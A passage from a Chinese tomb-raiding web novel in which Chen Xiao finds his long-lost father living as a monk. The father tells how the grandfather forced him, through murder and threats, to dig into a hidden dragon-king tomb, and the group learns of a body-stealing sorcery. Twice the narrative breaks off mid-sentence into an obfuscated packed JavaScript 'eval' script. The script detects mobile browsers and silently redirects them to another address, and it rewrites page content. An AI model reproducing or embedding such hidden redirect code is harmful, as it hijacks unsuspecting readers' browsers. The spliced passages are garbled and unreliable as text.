陈老四在听完这两个字之后,怔了一下,突然握住老和尚的手,红了眼圈激动的大叫: “祥子!真的是你?!你,你,你可好啊!” 陈晓见陈老四那过于激动有些语无伦次的模样实在是感到惊讶万分,对这老和尚的身份更加好奇,也顾不上什么礼数了,抓着陈老四就问: “叔公!你们是不是认识?他到底是谁啊?” 老和尚跟之前一样来回看着陈晓与陈老四,张了张嘴又不知说什么,依旧是留着老泪。陈老四摸了摸眼角,翻手抚住陈晓的手背,咬着牙一字一顿的对他说: “陈晓,他是你爹,陈国祥。” 陈晓一下子就愣了,半天都没反应过来陈老四说了什么。他不敢相信的看着陈老四,就见他点了点头,拍着陈晓的手背。陈晓又看向那和尚,见他就只是默默的掉眼泪,心里一下子就沉了起来,再也说不出话来。 “他确实是你爹。哎,只是我不明白,祥子,你不是在二十多年前失踪了吗?怎么会跑到这龙池寺当和尚来了?” 陈老四满肚子的疑问,按理说,陈家上下全都当陈国祥死了,就是陈晓长大之后,也是对他这么说的。如今竟然在这里突然见到他,怎么能不叫人诧异? “你真的是我爹?”半天陈晓才缓过神来,也不知道该做什么样的反应,冲老和尚傻傻的问了句。老和尚显然是有什么难言之隐,将这二十多年的憋屈全部都显露在了脸上,紧紧握住陈晓的手用颤抖的声音说: “孩子,我确实是你爹啊。二十五年了,爹对不起你啊。” 说完老和尚就又开始抹眼泪。能让一个五十多岁的人哭成这样,真不知道他是经受了什么样难以想象的事情。 陈晓没有再说话,就这么站在那里任由陈国祥握着他的手,沉默的盯着眼前这个自称是他父亲的人,在得到了陈老四与当事人的确定之后,一时间百感交集,却又只能相顾无言啊。 “哎,我说,这不管怎么说,你们父子相认那是喜事啊!咱们是不是该庆祝一下去吃顿好的?你看这天都黑了,又爬了好几个小时的山,我是饿得两眼直发黑啊。” 二胖顾不上合不合时宜,也不懂看人眼色,突然就来了这么句。不过经他这么一提醒,其他人也确实感觉腹中空虚。陈国祥这才注意到其他人,有点尴尬的笑了笑。 “你们都饿了吧?我正好刚做了些饭菜,大家先凑合吃,我再去炒几个来。” 陈国祥说着就拉陈晓往屋里走,老孙头就说让他们吃,自己再去烧几个菜。解鸦门和朱雀主动提出要去帮忙,其他人都跟着进了大殿后面的厢房。 陈国祥住的地方十分简陋,木桌上只有两个炒青菜一碗白米饭,显然之前老孙头来找他时正准备吃饭。陈晓看了看屋中的穷途四壁,突然心中涌起一股酸楚。他爹这二十多年究竟是吃了多少的苦啊,就这么一个人待在这破庙里,到底是为了什么呢? “哎呦,就这么点儿菜,连个肉片儿都没有,怎么吃啊?”二胖看了眼桌子上的菜就开始抱怨。封鬼用胳膊肘顶了他一下,示意他不要再作怪,二胖撇了撇嘴就一屁股坐下来也不顾别人自己吃上了。 陈老四给陈国祥简单说了他们来这的目的,又介绍了一下其他人,就问他二十五年前到底发生了什么事,他为什么会在龙池寺当和尚,老孙头又为什么会带他们来这里,他是否知道他爹陈三水与天丑龙王宫的事情。 陈晓也迫切的想要得到这些问题的答案,目不转睛的盯着这位既陌生又熟悉的父亲。 陈国祥在被追问的时候,表现出一种十分古怪的神情,说不好是具体哪种,却包涵了愤慨,委屈,无奈,纠结,惊恐,彷徨,失落,阴沉,以及太多太多复杂而无法言明的情愫。最终这些情绪转化为一声长长的叹息,仿佛穿越了二十多年的时空,化为一缕青烟,消散在空气中。 “哎……二十五年,二十五年前,我根本不是失踪,而是到了这龙池寺啊。都是陈三水逼的,陈三水逼的!他根本不是我爹,是魔鬼,魔鬼啊!” 陈国祥越来越激动,苍老的脸也跟着扭曲起来。陈晓和陈老四都不敢相信的看着他,没想到他竟然说自己爹是魔鬼,还用那种惊恐的表情,这根本不是一个儿子提起父亲该有的正常反应啊。 “爹!这到底是怎么回事?我爷爷为什么会逼你出家?你快告诉我啊!”陈晓心中的不安与疑惑越来越大,急切的想要知道所有的真相。 陈国祥苦涩的摇了摇头,用发颤的声音慢悠悠的说: “这一切都是他算计好的,二十五年前他就让我在这里等你了。我本以为他活不了这么久,也等不到今天,可没想到……老天爷真是不长眼啊!让这么一个魔鬼活了这么久,最终还是没有放过我们父子,如今竟然把你也牵扯进来了。报应,真是报应啊。” 陈国祥的话让众人越来越费解,陈晓安慰性的拍了拍他的手背,也没有发问,等他慢慢稳定下来之后,才听他把事情的原委慢慢道来。 陈国祥说的这件事情简直匪夷所思,让在场的所有人都感到不可思议,连二胖都停下筷子拍腿大骂。 封鬼一边听一边看向陈晓,实在是可怜这对父子,竟然会为了那样一个恐怖的目的而分散二十多年,究竟是怎样险恶歹毒的人心才会导致这样离奇局面的发展?在如今这样一个法治的文明社会,又怎么会有这种事情发生呢? “祥子,这么多年,你受委屈了。”纵是铁石心肠的陈老四,也难以忍受这样的事情,拍了拍陈国祥的肩膀,再也说不出话来。 听完陈国祥的叙述,封鬼跟所有人一样,沉默了。他实在无法理解,陈三水究竟是怎样继承了陈癞子所有歹毒阴狠的秉性,连自己的亲生儿子也不放过的。二十五年,让一个人在杳无人迹的荒山破庙中苦守了二十五年,就为了自己的一个不知是否可以达成的私欲,实在是令人发指啊。 ... 二十五年前,陈三水拿着铜镜找到了天丑龙王宫的入口龙池寺,安排下汤土村的老孙头作为接应之后就回到北京。 他找来儿子陈国祥,将所有的秘密都告诉他,要他为自己挖通地宫的入口,等待着壬辰龙年五星连珠的时机。 而地宫的入口正是龙池寺中二龙塔下的那口深井,陈三水已经找人测量过,井下离龙王墓还有很远的距离,必须找人挖通盗洞。 如果找一支专业的挖掘队伍,自然不是什么难事,然而这样一来天丑龙肆的地宫就会被别人发现,长生不老的秘密也将公布于天下,到时候无数的人蜂拥而至与他抢夺,他就会失去长生不老药。 为了独吞这一切,陈三水必须找个至亲之人,心甘情愿为他做事又能替他保守秘密,等盗洞挖通之后又可以在此把守直到今天。 于是他就找到了自己的独子陈国祥,并且用他的家人威胁他,说如果他不答应帮自己挖掘盗洞,就杀了他的妻子和儿子。陈国祥自然是不可能答应,决定将这件事告诉政府,没想到陈三水说一不二,趁陈国祥不备的时候抓了他的妻儿,给他下了最后通牒。陈国祥不相信自己的亲爹会如此残忍,做了最后的反抗。 两天之后陈三水拿给他一个盒子,陈国祥打开之后发现里面放着自己妻子血淋淋的头颅! 陈国祥当场就崩溃了,陈三水恶狠狠的对他说如果他不按照自己的意思去做,下一次放在盒子里的就是他儿子的头。 陈国祥抱着妻子的头颅问他爹你做这一切究竟是为了什么?难道长生不老就这么的重要?比你儿子和孙子的命还重要?如果我们都死了,你身边再也没有一个亲人,你就算能活一千年一万年,又有什么意义。 陈三水听完儿子的质问就发出一阵恐怖的狞笑,说你没有去过地狱又怎么能体会到那里令人窒息的恐怖,他这辈子与他爹陈癞子一样,是受到了来自地狱深渊的诅咒,再也不可能做什么善事,要是不想落得跟陈癞子一样在地狱受无尽业火焚烧永生永世不得超生的下场,就必须成为不死之身,哪怕如行尸走肉一般游荡在人间,也强过下阿鼻地狱千倍万倍。 陈国祥知道眼前这个被称为他爹的人已经成魔了,再也不能算是个人。为了保全儿子的性命,他只得答应陈三水的要求,进入龙池寺当了和尚,又被陈三水逼着毒死了原来的住持,从此之后山上就只剩下自己,没日没夜的在井中挖掘。而老孙头就是陈三水雇来定时到寺里给他送粮食的村民,除了老孙头和他孙子,这二十五年来陈国祥没有见过任何其他人。 就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391837|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半年前,陈国祥终于挖到了地宫的入口,他给陈三水写信告诉这个情况,等着他的下一步指令,却没有得到任何回复。不敢有任何私自的行动,陈国祥只能继续在寺里等待,直到今天,老孙头跑来告诉他陈晓来了之后,他才明白,这一切都是陈三水算计好的,他根本没打算放过陈晓,要他们父子继续为自己卖命,最终还是让陈晓按着自己布下的局找到了这里。 “我去!这陈三水他娘的就是一畜生!我说你们父子谁也别给他卖命了,去他狗日的长生不老药,爱谁要谁要去。这天丑龙王宫也甭去了,就让那陈三水死了得了。” 二胖在那边吃鸦门刚炒好的小菜边骂,陈国祥无奈的摇了摇头,也不说话。陈晓咬了咬牙,恶狠狠的说: “我不会就这么放过他的。他故意让自己得了怪病,无非是逼我用长生不老药救醒他,因为他早料到按我的性子在知道真相以后绝对不会放任他就这么死了。我一定要他活过来,让他为自己做的这一切付出代价!” 陈晓露出从未有过的凶相,那是比动了杀机还要令人毛骨悚然的表情。封鬼吃了一惊,在恍惚间好像看到一只狰狞的恶鬼出现在他的脸上,挤了挤眼再仔细看,那鬼就不见了。 魔阿八部上说鬼善迷人心窍,在人心生恶念之时趁机钻空子,使人生五毒四心,最终沦为人魔。封鬼真的很怕陈晓会因为对陈三水的恨意令恶鬼趁虚而入,控制他的心神,令他沦为人魔,这样岂不是又成了另一个陈三水?如果发生这种事,那才是真正恐怖的。 “陈晓,不论二哥做过什么罪大恶极之事,他始终是你的爷爷,我不希望仇恨蒙蔽你的心。祥子,你说的这一切在没有得到二哥亲口承认之前,我也不能全都信了。事到如今,如果想要一切真相大白,唯一的办法就是进入地宫,得到长生不老药,救活二哥,如果到时候他真的承认这一切,我也绝对不再向着他,该怎么办,都由你们父子决定。” 陈老四说了这番话,也不知道究竟是何用心。不过封鬼倒觉得他说的在理,仔细想想,陈家发生的这么多离奇古怪的事,全都是一些人的片面之词,根本没有得到当事人的证实。不论是陈癞子还是陈三水,都被丑化成了十恶不赦的魔鬼形象,但是封鬼实在难以想象,世界上真的会有这种恐怖的人魔存在吗?为什么老天会放任他们存活在世上呢?这一切听起来都有根有据,却又太过于匪夷所思令人难以相信了。就像是鬼神之说,虽然很多人都在心里敬畏禁忌,可只要是没有亲眼看到亲身经历,还是会觉得不相信,或者说不能确定这一切都是真实存在的。 陈晓盯着陈老四看了半天,微微点了点头,好像是赞同他的说法。陈晓又问那天丑龙王宫的入口是什么样子,是否能带他们去看看。 “你爷爷嘱咐过,必须在五星连珠阴气最盛之时,月亮升到井口正上方的时候,用铜镜上面雕刻的八卦图嵌入石门凹槽之内才能打开地宫入口,否则一旦时机不对或是没有对上铜镜上的八卦图,想要强行进入地宫,那整个地宫就会坍塌,被彻底的摧毁。所以现在还不是时候,必须等到后天鬼节的晚上才能打开石门。” 陈国祥说完,陈晓就点头示意这些事自己也知道。陈国祥又问铜镜在哪里,他想看看,陈晓就说不在自己身上,指着宋阿拽说铜镜在他那里。 “他说铜镜是爷爷亲手交给他的。” 陈国祥有些诧异的看向宋阿拽,这个人的存在感实在是太差了,之前一直都没有注意到他。 “你见过我爹?他是什么时候把铜镜给你的?”陈国祥表现的十分惊愕,好像一点都不相信。 封鬼见宋阿拽面无表情,靠在窗户边跟没事人一样冷冷的面对陈国祥的质问,却一句话都没有说,就跟没听见一样。 “我爹问你话呢,你这是什么态度?!” 陈晓从一开始就对他没有好感,说着就冲上去要对宋阿拽行凶,封鬼怕他此时情绪过于激动会伤及无辜,连忙上前拦住,挡在宋阿拽面前。 “陈兄,咱有话好好说,宋老板也不是故意的,你先别……” 封鬼话还没说完,一只手就搭在了自己的肩膀上,他顿时感到一股阴冷的寒意袭来,就像是肩膀上突然被放了块冰块,在这炎热的夏夜带给他冰冷刺骨的感觉。 忍不住打了个激灵,封鬼心里一惊。这是他第一次与宋阿拽有身体上的接触,没想到他的体温如此不正常,简直就是跟死人无异。还没等他做出下一步反应,宋阿拽就移开手,那股寒意顿时消失,好像刚才只是自己的幻觉一样。随后耳边就响起一个低沉冰冷的声音: “这铜镜,是陈癞子死前亲手交给我的。” 18. 【18】借尸还魂 宋阿拽一说那铜镜是陈癞子亲手交给他的,所有人都愣了一下,心说这绝对不可能啊。 “不可能!”陈晓和陈国祥几乎是同时喊了出来,封鬼的第一反应也是这姓宋的绝对是在骗人啊。 宋阿拽看外表年龄绝对不会超过三十岁,陈癞子死的时候那是二十五年前了,那时候他顶多只有四五岁,还是个小娃子,陈癞子怎么可能会把进入地宫的关键——铜镜这么重要的东西交给一个陌生的小男娃?再说陈三水明明说是陈癞子在临死前把铜镜交给了他自己。而且老张之前就已经表明那铜镜一直在陈三水的手里,一年前还与他在长沙老宅中争抢,又怎么可能跑到了宋阿拽的身上呢? 如果他说的是真的,那之前老张和陈国祥说的关于陈三水的一切就都不可信了,就连陈三水说的有关陈癞子与天丑龙肆的故事也要全盘推翻了。这也太匪夷所思令人难以相信了。 “绝对不可能!你之前还说铜镜是我爷爷陈三水给你的,怎么现在又说是我太爷爷给你的了?你明显就是在胡说!说,你到底是谁?编这些谎话又有什么目的?” 陈晓言辞犀利的逼问,封鬼也转过身费解的盯着宋阿拽。这个人给他的第一感觉,并不是那种会说谎话的人,所以他这么说,封鬼就觉得更加无法理解。只见他依旧摆着那张没有任何表情让人无法猜透的扑克脸,微动着冷然的薄唇吐出一句令人费解的话: “陈三水就是陈癞子,陈癞子就是陈三水。” 封鬼听不明白他这如同绕口令一般的话究竟是什么意思,转头看向其他人,也都是面面相觑,似乎没有人明白他想要表达的是什么。 陈三水就是陈癞子,陈癞子就是陈三水?这到底是什么意思呢?他们二人不是父子关系吗?难不成这两个人是同一个人扮演的?这怎么可能啊,陈家这么多双眼睛看着呢,他们怎么可能同时出现在众人的面前?难道他是有分身术不成?越想越觉得这句话实在是诡异得令人无法理解,封鬼觉得宋阿拽简直就是胡说八道,心说没想到这个又拽又闷的扑克脸竟然是个大骗子啊,还以为他是个什么厉害的狠角色呢。 “哎呦!我去,不会吧!”二胖突然叫了一声,封鬼连忙看向他,心说他这是干什么一惊一乍的,就不怕把老人家的心脏病给吓出来了。就见他一拍大腿,扭头盯着宋阿拽,神经兮兮的说: “你的意思是说,现在躺在床上的那个不是陈三水,而是陈癞子?其实陈癞子根本就没死,死的那个是陈三水?” “二胖你又胡说……”封鬼刚想骂他,突然就想到了什么,却又只是一些不成形的想法在脑中一闪而过,一下子就消失了。不过他已经觉察到什么不对劲的地方,或者说是什么十分诡异令人不舒服的地方。 只见所有人都看向了宋阿拽,等着他进一步的解释和说明。他那张脸实在是没有什么表情啊,虽然说是五官端正,甚至可以说是相当的英俊,但是就算长得再帅,可整天摆着一张阴沉的扑克脸,就像是所有人都欠他一大笔钱一样,实在是不怎么讨人喜欢,有时候封鬼突然间扭头看到他那张脸甚至还会吓出层白毛汗来。 就是这么一张毫无表情的脸,所有人盯着看了半天,等得封鬼都想骂人了,就见他动了动肩膀,原本靠在墙上的身子站了起来,扫视了一圈屋子里的人,慢悠悠的说: “躺在床上的确实不是陈三水,而是他爹陈癞子。” 什么?!难道真给二胖给猜对了?封鬼更加觉得不可思议,就见二胖在那大笑。 “哎呀,我说什么来着!还真让霍爷我猜对了!可是这也不太可能啊,陈癞子要是活到现在已经差不多有120岁了,那得老成什么样啊,看他那样子也不像是有这么老啊。再说他死的时候当着这么多人的面又是怎么偷梁换柱的呢?” 二胖这话说的一点儿没错,当年陈癞子死的时候,陈老四也在跟前,眼睁睁的看着他断了气,又怎么可能与陈三水调了包呢?这又不是魔术,更不是法术,他一个普通凡人,又是怎么做到的呢? “借尸还魂。”宋阿拽突然吐出这四个字,所有人都愣住了,二胖更是不明白啊,可封鬼却一下子就醒悟了过来。 “原来是这样!”解鸦门应该也知道是怎么回事了,随口就叫了一声,其他不明白的人又都看向了她。 “到底是怎么回事?”陈晓连忙问,解鸦门点了点头,好像是确认自己的想法是否正确。 “宋先生所说的借尸还魂应该跟传统意义上的借尸还魂不一样,而是巫家的一门延长寿命的邪术。” 解鸦门说着就看向宋阿拽,只见他微微点了点头,看来是说的没错。鸦门有些得意的笑了笑,就又接着说: “这门邪术在一千年以前就失传了,所以很少有人听说过。我也是在一本名为《巫义》的古代残书上看到些只言片语的记载才略知一二。书上说,古人为了长生不老,会选择一个身强体健的人在他身上下一种邪恶的蛊毒,然后把他剩下的寿命转到自己身上,等他的灵魂被蛊毒侵蚀殆尽之后,身体就成了一具空壳,而那个得到他剩余寿命的人的灵魂就会占据这具空壳,代替原来的人继续活下去以达到长生不老。这就是巫家的借尸还魂之术。” “我去!那照你这么说只要不断的给年轻人下蛊不断的换身体那岂不是能活千年万年?!”二胖惊奇的直搓手,照他那跃跃欲试的架势估计要是这种蛊术流传至今,他肯定是要找人下蛊的。 封鬼刚想骂人,就见解鸦门摇了摇头,秀眉微蹙继续说道: “那怎么可能呢?如果真是这样巫派的人岂不都成神仙了。这种邪术之所以会失传就是因为它过于邪恶狠毒,不只会害死被下蛊的人,对下蛊者也是危害极大。因为有蛊者最初是要先将蛊养在自己身上,然后再放蛊到别人身上,最后将蛊收回才能吸取别人的寿命。这样一来下蛊者就会被蛊反噬,这种蛊最多只能下两次,再多的话下蛊者就会被自己的蛊毒死了。” 解鸦门说完,大伙才算是彻底明白了是怎么一回事。陈癞子一辈子都在寻找长生不老之术,终于让他发现了这种邪恶的蛊毒,于是就在儿子陈三水身上实验,竟然成功了,他吸取了陈三水的阳寿,占了他的身体活了下来,于是陈癞子就摇身一变成了陈三水,继续寻找长生不老药。 封鬼越想越觉得是这么回事,怪不得陈三水跟陈国祥说起地狱的恐怖,也许他在死的那一瞬间确实到了地狱,见过地狱的景象,而之后蛊被召回,令他的魂魄转到了陈三水的身体里,因此活了过来。而陈癞子的尸厥症也根本就不是古尸的尸毒引起的,而是蛊开始反噬,令他的身体吃不消,才陷入了这种休眠的假死状态。 “就算这蛊术是真的,你又有什么证据证明现在在我爷爷身体里的是我太爷爷?” 陈晓还是不相信,死死盯着宋阿拽,表现出不得到答案决不罢休的决心。他本来就受了太多的打击,本以为自己的爷爷是个丧心病狂的魔鬼,可现在这个魔鬼又变成了自己的太爷爷。真是一波未平一波又起,怎能让他不感到疑虑呢。 封鬼是真心可怜这个公子哥啊,见他父亲陈国祥也是一脸的震惊错愕,就觉得心里更是难受。这对父子命运也真够坎坷的,难道老天爷成心玩儿他们吗?怎么事情就朝着一个越来越诡异的方向发展了呢? 再看那宋阿拽,也不知道是因为饿了还是累了,总之是有些不舒服,身子晃了晃,用有点发颤的声音说: “借尸还魂是真的,陈癞子还活着,铜镜也在我手里。两天之后地宫打开之时,信或不信由不得你。” 陈晓还想再说什么,就见宋阿拽捂着胸口倒了下去,他的那几个手下很迅速的冲上去扶住他,将早准备好的一颗药丸塞进他的嘴中。动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391838|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一气呵成十分熟练,看来这种事情是时有发生。封鬼有些纳闷,突然看到宋阿拽的额头上冒出几颗汗珠,虽然不多,却的确是冒汗了。之前接触到他的体温,是冰凉的,而且爬山的时候也没见他流过汗,竟然在此时不知道发了什么病的时候出了汗。而且奇怪的是那汗在他吃过药丸之后很快就消失了,好像是突然在空气中蒸腾了一样。 封鬼以为自己眼花了,实在想不出这个怪人的身上究竟发生了什么匪夷所思的事情。可没等他继续多想,那个留着小胡子的玄武就用中气十足的语调对陈国祥说: “我们老板身体不舒服需要休息,天太晚也下不了山了,你这还有多余的房间没有?我们要在这借住一晚,需要多少钱我们给你。” 他这么一说封鬼看了看手表,发现已经10点多了,天这么黑,山路更难走,想下山肯定没戏。陈国祥点了点屋子里的人头回道: “大家今晚都住下吧,我这有的是空房,只是需要收拾一下。钱我肯定不要,你们随意就好。” 说完就领着宋阿拽那一帮人走了,应该是去找房间了。之后其他人都简单吃了些饭菜,也只能填个半饱,又都被陈国祥安排下住处。解鸦门说车队已经到了,现在老孙头家里住着,明天一早就下山与他们汇合,拿了装备再作打算。 陈国祥与陈晓和陈老四住在一起,估计一家人肯定会秉烛夜谈。封鬼见大伙都散开了,就二胖还在那吃,虽然就剩下点残羹冷饭,也实在难为他这么大的饭量。见他那吃相,封鬼没好笑的拍了拍他的肩膀。 “哎,我说,别舔了,盘子要让你舔穿了。”说完就拉着他去了二人的房间。 舟车劳顿了一天,又爬了这么久的山,体力确实不支,二胖吃饱喝足,脑袋一沾床没几分钟就开始打呼噜了。封鬼翻来覆去睡不着,想了许多事,有些明白了,可有些更糊涂了。 陈癞子,宋阿拽,天丑龙肆,这三者究竟是怎么扯到一起去的?他们之间到底有着什么样的联系? 毫无疑问,陈癞子与宋阿拽早就认识,虽然不知道出于什么目的,可宋阿拽显然是冲着这龙王宫来的。 难道他也是为了长生不老药?可他看着绝对不像是陈癞子那种执着于生死的人啊。再说他又是怎么和陈癞子认识的呢?陈癞子又为什么将铜镜给了他? 还有一点让封鬼怎么想都想不透,这个宋阿拽好像特别的在意自己,也不知道是不是自己的错觉,封鬼总觉得他时不时的在注视着自己,那种注视让他浑身的不舒服,而且心中总能涌起一股隐隐的不安与恐惧。 这个人到底是谁?他的意图究竟何在?这一切的背后究竟隐瞒着怎样的真相?又或者暗藏着什么可怕的阴谋呢?恐怕如今谁也给不了答案,所有的事情都只有等到进入地宫之后才会有眉目吧。 望着窗外皎洁的月光,封鬼的思绪开始放空。迷迷糊糊睡着,也不知过了多久,再醒来的时候觉得身上一凉,打了个喷嚏起身去外面□□。 刚走到院子里,就听见二龙塔下的黑暗中传来哗啦啦的水声,封鬼紧了紧外套,夜晚的山风尤其的刺骨,那薄薄一层衣服根本不顶用。他又仔细听了一会儿,确定自己没有听错,便朝水声传来的方向走去。 今晚的月光十分清明,把周围的一切都照得通通透透,封鬼走近之后就发现,原来在二龙塔的井边,有个人正光着膀子在往身上泼水。那人听到动静,就停下来转过身,封鬼看得真切,不是别人,正是那宋阿拽。 “我去!”封鬼没忍住骂了一声。 “你不冷啊!这么大半夜的洗什么冷水澡?” 虽然是八月天,可此处是海拔千米的高山,又是夜晚,寒风在耳边呼呼的吹啊,封鬼恨不能裹上层羽绒服,没想到他竟然在这里泼冷水,心说这人是不是有病啊?还是他梦游呢?怎么他的手下也不来管管? 19. 【19】迷雾 宋阿拽没有说话,看了封鬼一眼,就继续往自己身上泼水。封鬼来气了,心说你这孙子再怎么拽也不该无视人啊,怒冲冲的走上前,一把夺过他手里的水盆,顿时水就洒了自己一腿,冷得他又骂了出来。 “我去!”这简直就是冰水啊,冻得他牙齿都打哆嗦了,这宋阿拽竟然哼都不哼一声就用这水往身上泼,难不成他真麻木了?根本感觉不到冷? “水这么冷你不怕生病啊?”封鬼又冲他叫了一声,这回他没有再无视封鬼,而是转过身面对着他,毫无表情的盯着他看,看得封鬼心里直发毛。 这时封鬼才注意到,在他的身上纹着一条青黑色的龙。这条龙不论是鳞片还是五爪都勾画得十分精致细腻,从胳膊到肩膀一直延伸到腰部,几乎覆盖了他身前一大半的面积。 只见那条龙脚踩龙珠腾云驾雾,足下生风吞云吐火,真是威风凛凛啊。然而龙的相貌却极其丑陋凶恶,青面獠牙,血口大张。封鬼心里一惊,一般在身上纹这种凶神恶煞的东西那是为了驱鬼辟邪啊,而且这么大的面积那基本上只有黑老大才有,平常人也不会纹这个来吓唬人啊。 难不成真让二胖给说对了,他就是个混□□的大佬不成? 恍惚间,封鬼竟然看到那条龙的胡须在飘动,再定睛一看,就暗笑是自己眼花了,这又不是活物,怎么可能会有能动的纹身呢! 宋阿拽的身上除了这条龙,脖子上还挂了一块古玉,封鬼仔细辨认了一下,那是块白得几乎透明的冰种翡翠,里面带着点绿色,水头极好色泽莹润,却在月光下发出一层淡淡的蓝色冷光。而且它的造型非常的奇特,又圆又方,说是天然又有棱有角是经过打磨而成的形状。猛的一看像剥了壳的大核桃,再仔细一看又像是个兽头,却没有眼口耳鼻。 封鬼回过神,见他还是跟之前一样看着自己,一点儿也没有要开口的意思,就拿过一边的衣服耷在他肩膀上。 “小爷去撒尿,就不陪你了。” 说完就潇洒的走了。等回来的时候宋阿拽已经不在了,地上只剩下个水盆。封鬼见里面还有点儿水就想洗洗手,一伸进去就发现这水真是冰冷刺骨啊,赶忙又抽了回来。这井水一定是连着很深的地下河,也不知道那陈国祥究竟是挖了多深,这水下又是个什么样的构造,难不成那天丑龙肆的墓是建在水下?不过也难怪,龙王宫嘛,这龙宫自然应该是在水下的。 封鬼回到屋里躺下,当夜再无二话。第二天一大早起来,就见身边已经没了二胖的人影,听到院子里有人在说话,急急忙忙穿好衣服走了出去,看见满院子都是人。原来除了自己其他人早就醒了,正围着一堆东西在讨论什么。离近一看封鬼才发现,原来都是些地质勘探以及挖掘与浅水的设备,都十分的先进。陈国祥说这些全都是陈三水派人运来的,在二十五年中,他不断的更新设备,什么先进就送来什么,就是为了要让陈国祥能够在规定的时间内完工。 寺里的早餐实在是寒碜,只有青菜叶子和鸡蛋下的面条。将就着吃完之后,解鸦门要下山去和车队汇合,然后带齐足够的设备再回来。陈老四就说没必要所有人都跟着下去,反正早晚还是要上来的,就让老孙头带路,领着鸦门和陈晓下山。 二胖一见解鸦门要下山,说就他们一老俩小的实在不安全,万一碰上熊瞎子根本对付不了,非要跟着去当护花使者。封鬼也懒得管他,爱去不去,只要他不在半路上叫累就成。 三人走了之后,封鬼见那叫阿龙的小男娃正跟朱雀在数二龙塔上的砖石,就走过去问: “小朋友你怎么不下山去啊?这里很危险,等后天我们下井的时候是不能带你去的。” 说完,还摸了摸他的脑袋。阿龙咧开嘴笑了笑,抱着朱雀的胳膊来回摇。 “比这再危险的事情我都做过呢,再说有朱雀保护我,没什么可怕的。” 朱雀僵着脸微微点了点头,封鬼心说这人跟他主子一个德行,都是面瘫加闷瓜,甚至比他主人还要闷啊,根本连一个字都没听他说过,难不成是个哑巴?刚琢磨呢,就听这闷瓜开口说话了。 “小封爷放心,我会照顾好阿龙的。” 封鬼愣了一下,原来他会说话啊。不过仔细一想不对啊,他怎么会叫自己小封爷呢?自己好像没有跟他们这帮子人做过自我介绍吧,就算是别人告诉他们自己的名字,可他也不该叫“小封爷”啊,这种叫法一般是与封家颇有渊源或者是十分敬重他爷爷的人才会这么叫啊。 听二叔说当年他爷爷封九坤那是叱咤风云的人物,因为他是封门宗家第九代嫡传人,所以有个响当当的名号叫封九公,凡是道上的人都要尊称他一声封爷或封九公,四大家的人甭管见没见过面都会敬他三分。 之后不论是封鬼的父亲还是他二叔,因为没有受爷爷传承衣钵与邪牙刀,并非封家嫡传人,所以没一个被称为封爷的。比如他父亲别人都叫他封老大,而他二叔貌似在道上面子大点儿,不过人家最多也只是叫声封家二爷。而小封爷可以说是自己的专属名号了,从小到大,除了父亲和二叔手下的伙计,目前为止也就只有周翎花和朱雀这么叫他。 所以封鬼对这个称谓十分的敏感,就像是与周翎花见面那次,他也叫自己小封爷,思来想去实在不明白这些人与封家有什么样的渊源。封鬼本来还想问问朱雀为何如此称呼自己,再一想就觉得这么问实在太傻,说不定人家那就是客套话,你要是这么刻意岂不自以为是遭人嫌弃。转念一寻思,封鬼就装作随口一: “你认识我爷爷?” “封九公,认识。”简洁明了的五个字作为回答,封鬼算是明白了,宋阿拽他们这群人,一定对自己的背景很清楚。突然出现在他的面前,肯定是带着什么目的。目前还不能表现得过于在意,只能暗中慢慢调查以免打草惊蛇。封鬼噢了一声,就转移话题道: “你们老板是不是生病了?昨天见他身体不怎么舒服,大半夜的还洗凉水澡,就不怕发烧啊?” 想到昨晚月光下那诡异的一幕封鬼是心有余悸。这个宋阿拽给人的感觉就像是一团迷雾,言行举止都是诡异非常,实在让人琢磨不透。 “朱雀,跟我去捉蚂蚱。” 朱雀刚想说点什么,就被阿龙拽走了,封鬼也不知道这小孩儿是不是故意打断他们的谈话,不过这也太巧了,显然那孩子是怕朱雀透露出什么秘密来。封鬼暗笑一声,这个阿龙真是不简单,长着一个小孩的外表,却有着大人的心机。突然想到昨天解鸦门说的借尸还魂,封鬼不由得骂了一声,靠!不会吧?难不成他也是借尸还魂?在这个小孩身体里的是个大人的灵魂吗? 摇了摇头,又觉得不太可能,怎么看怎么觉得阿龙偶尔露出的那些天真烂漫的言行不是装出来的,确实是一个孩童该有的表现。比如他很依赖朱雀,喜欢跟他闹着玩,就像是昨天洗脚那一幕,大人怎么也不会那么调皮吧。 甩了甩脑袋,封鬼不想再考虑这些头疼的事,就去找陈老四和陈国祥,见他们二人还在讨论有关陈癞子的事情,自己也好奇,就参与了进去。研究了半天三人也没什么结果,仅凭宋阿拽的一面之词还有解鸦门的借尸还魂说也不能确定陈三水就是陈癞子啊。 越想问题就越多,好像掉进了一团迷雾,什么也看不清,真相也越来越扑朔迷离啊。封鬼揉了揉太阳穴,不愿再继续讨论下去,就独自一人出了寺门,来到那几棵千年老柏树下,正看见一个人靠在树干上,肩膀和头顶都落满了麻雀。见这场面眼熟,封鬼走进再看,果然是宋阿拽。就见他低着头盯着手里一块圆形的东西发呆,封鬼一看就知道那是什么了,那就是进入天丑龙王宫的关键所在,陈癞子从伏牛山古墓中带出的那面铜镜啊。 